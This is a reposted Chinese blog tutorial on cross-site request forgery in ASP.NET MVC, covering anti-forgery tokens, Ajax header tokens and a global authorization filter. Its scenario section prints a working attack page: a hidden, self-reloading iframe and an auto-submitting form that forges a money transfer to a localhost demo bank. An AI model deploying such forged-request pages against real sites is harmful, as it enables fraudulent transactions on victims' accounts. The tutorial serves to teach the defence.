Web安全相关（二）：跨站请求伪造（CSRF/XSRF）

分手后的思念是犯贱 2022-04-03 03:38 177阅读 0赞

转：[http://www.cnblogs.com/Erik\_Xu/p/5481441.html][http_www.cnblogs.com_Erik_Xu_p_5481441.html]

# 简介 #

CSRF（Cross-site request forgery跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。

# 场景 #

某程序员大神God在某在线银行Online Bank给他的朋友Friend转账。

![182190-20160516124419544-1638039833.jpg][]

![182190-20160511185202546-1959897947.jpg][]

转账后，出于好奇，大神God查看了网站的源文件，以及捕获到转账的请求。

![182190-20160511175923999-360532461.jpg][]

![182190-20160511180753515-1594972883.jpg][]

大神God发现，这个网站没有做防止CSRF的措施，而且他自己也有一个有一定访问量的网站，于是，他计划在自己的网站上内嵌一个隐藏的Iframe伪造请求（每10s发送一次），来等待鱼儿Fish上钩，给自己转账。

网站源码：

![2018122011474330][]

![复制代码][2018122011474345]

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
        <title></title>
    </head>
    <body>
    <div>
        我是一个内容丰富的网站，你不会关闭我！
    </div>
    
    <iframe name="frame" src="invalid.html" sandbox="allow-same-origin allow-scripts allow-forms"  style="display: none; width: 800px; height: 1000px;"> </iframe> 
    <script type="text/javascript">
        setTimeout("self.location.reload();", 10000);
    </script>
    </body>
    </html>

![复制代码][2018122011474345]

伪造请求源码：

![2018122011474330][]

![复制代码][2018122011474345]

<html>
    <head>
        <title></title>
    </head>
    <body>
    <form id="theForm" action="http://localhost:22699/Home/Transfer" method="post">
        <input class="form-control" id="TargetUser" name="TargetUser" placeholder="用户名" type="text" value="God" />
        <input class="form-control" id="Amount" name="Amount" placeholder="转账金额" type="text" value="100" />
    </form>
    
    <script type="text/javascript">
        document.getElementById('theForm').submit();
    </script>
    </body>
    </html>

![复制代码][2018122011474345]

![182190-20160511183528687-195574010.jpg][]

鱼儿Fish打开了大神God的网站，在上面浏览丰富多彩的内容。此时伪造请求的结果是这样的（为了演示效果，去掉了隐藏）：

![182190-20160511183953140-904475858.jpg][]

因为鱼儿Fish没有登陆，所以，伪造请求一直无法执行，一直跳转回登录页面。

然后鱼儿Fish想起了要登录在线银行Online Bank查询内容，于是他登录了Online Bank。

此时伪造请求的结果是这样的（为了演示效果，去掉了隐藏）：

![182190-20160511184522046-1187810203.jpg][]

鱼儿Fish每10秒会给大神God转账100元。

![182190-20160511184752952-1759762476.jpg][]

# 防止CSRF #

CSRF能成功是因为同一个浏览器会共享Cookies，也就是说，通过权限认证和验证是无法防止CSRF的。那么应该怎样防止CSRF呢？其实防止CSRF的方法很简单，只要确保请求是自己的站点发出的就可以了。那怎么确保请求是发自于自己的站点呢？ASP.NET以Token的形式来判断请求。

我们需要在我们的页面生成一个Token，发请求的时候把Token带上。处理请求的时候需要验证Cookies+Token。

![182190-20160511191054546-379827869.jpg][]

![182190-20160511191118140-2013760288.jpg][]

此时伪造请求的结果是这样的（为了演示效果，去掉了隐藏）：

![182190-20160511191556015-1795963159.jpg][]

# $.ajax #

如果我的请求不是通过Form提交，而是通过Ajax来提交，会怎样呢？结果是验证不通过。

![182190-20160516125241748-1476154033.jpg][]

为什么会这样子？我们回头看看加了@Html.AntiForgeryToken()后页面和请求的变化。

1. 页面多了一个隐藏域，name为\_\_RequestVerificationToken。

![182190-20160516125801529-1369930690.jpg][]

2. 请求中也多了一个字段\_\_RequestVerificationToken。

![182190-20160516130230513-619931327.jpg][]

原来要加这么个字段，我也加一个不就可以了！

![182190-20160516130810169-730923126.jpg][]

啊！为什么还是不行...逼我放大招，研究源码去！

![182190-20160516131137919-1958219813.jpg][]

噢！原来token要从Form里面取。但是ajax中，Form里面并没有东西。那token怎么办呢？我把token放到碗里，不对，是放到header里。

js代码：

![20181220114743149][]

在服务端，参考ValidateAntiForgeryTokenAttribute，编写一个AjaxValidateAntiForgeryTokenAttribute：

![20181220114743149][]

然后调用时把ValidateAntiForgeryToken替换成AjaxValidateAntiForgeryToken。

![182190-20160516132824560-610388086.jpg][]

大功告成，好有成就感！

# 全局处理 #

如果所有的操作请求都要加一个ValidateAntiForgeryToken或者AjaxValidateAntiForgeryToken，不是挺麻烦吗？可以在某个地方统一处理吗？答案是阔仪的。

ValidateAntiForgeryTokenAttribute继承IAuthorizationFilter，那就在AuthorizeAttribute里做统一处理吧。

ExtendedAuthorizeAttribute：

![20181220114743149][]

然后在FilterConfig注册一下。

![182190-20160516133757591-1575383015.jpg][]

FAQ：

1. BypassCsrfValidationAttribute是什么鬼？不是有个AllowAnonymousAttribute吗？

如果有些操作你不需要做CSRF的处理，比如附件上传，你可以在对应的Controller或Action上添加BypassCsrfValidationAttribute。

AllowAnonymousAttribute不仅会绕过CSRF的处理，还会绕过认证和验证。BypassCsrfValidationAttribute绕过CSRF但不绕过认证和验证，

也就是BypassCsrfValidationAttribute作用于那些登录或授权后的Action。

2. 为什么只处理POST请求？

我开发的时候有一个原则，查询都用GET，操作用POST，而对于查询的请求没有必要做CSRF的处理。大家可以按自己的需要去安排！

3. 我做了全局处理，然后还在Controller或Action上加了ValidateAntiForgeryToken或者AjaxValidateAntiForgeryToken，会冲突吗？

不会冲突，只是验证会做两次。

[http_www.cnblogs.com_Erik_Xu_p_5481441.html]: http://www.cnblogs.com/Erik_Xu/p/5481441.html
[182190-20160516124419544-1638039833.jpg]: /images/20220403/b03fd40b882045a69986b1025931c09f.png
[182190-20160511185202546-1959897947.jpg]: /images/20220403/c85a7b85697648b6ae35c97204f94d3d.png
[182190-20160511175923999-360532461.jpg]: /images/20220403/77a8a38326a44a3e91450ace3e44c67b.png
[182190-20160511180753515-1594972883.jpg]: /images/20220403/4497ea5c8e03472ea7242a08ef4dd949.png
[2018122011474330]: /images/20220403/7e4ab7d2d116448eb25135d7d88d15e4.png
[2018122011474345]: /images/20220403/1d991c9e4b33474193b58d532cf3aca0.png
[182190-20160511183528687-195574010.jpg]: /images/20220403/d5e726d0c66442b593f94374b702a21d.png
[182190-20160511183953140-904475858.jpg]: /images/20220403/97d819135cd945279d3dbb390224cfe8.png
[182190-20160511184522046-1187810203.jpg]: /images/20220403/f580477e2a284948b96feb74c41078e1.png
[182190-20160511184752952-1759762476.jpg]: /images/20220403/14cf1633446748cabfb66b9c284cd507.png
[182190-20160511191054546-379827869.jpg]: /images/20220403/b61ad54135ef439fb20bacc9ee441599.png
[182190-20160511191118140-2013760288.jpg]: /images/20220403/c36b28f6c8f14ed39d40ef9cb0e023c7.png
[182190-20160511191556015-1795963159.jpg]: /images/20220403/d8a1f68410f14ca0b3662f503dbf9524.png
[182190-20160516125241748-1476154033.jpg]: /images/20220403/f2140435bace4b94ab76cab65b6b9260.png
[182190-20160516125801529-1369930690.jpg]: /images/20220403/456a78fff27147dd959478fb99b24e8b.png
[182190-20160516130230513-619931327.jpg]: /images/20220403/8c68bb250e8f4862a8e587c2571157b5.png
[182190-20160516130810169-730923126.jpg]: /images/20220403/1aa797130379452ab9d56019a1c1fce8.png
[182190-20160516131137919-1958219813.jpg]: /images/20220403/154b7c2c9ae942879b2a16aed60521e7.png
[20181220114743149]: /images/20220403/266f7c7f946c41e980121bd2b9f0f426.png
[182190-20160516132824560-610388086.jpg]: /images/20220403/a0943c1204f1407daa2888bfa0d3bc25.png
[182190-20160516133757591-1575383015.jpg]: /images/20220403/07fe9f3c18c1445788bee9d7fe4da310.png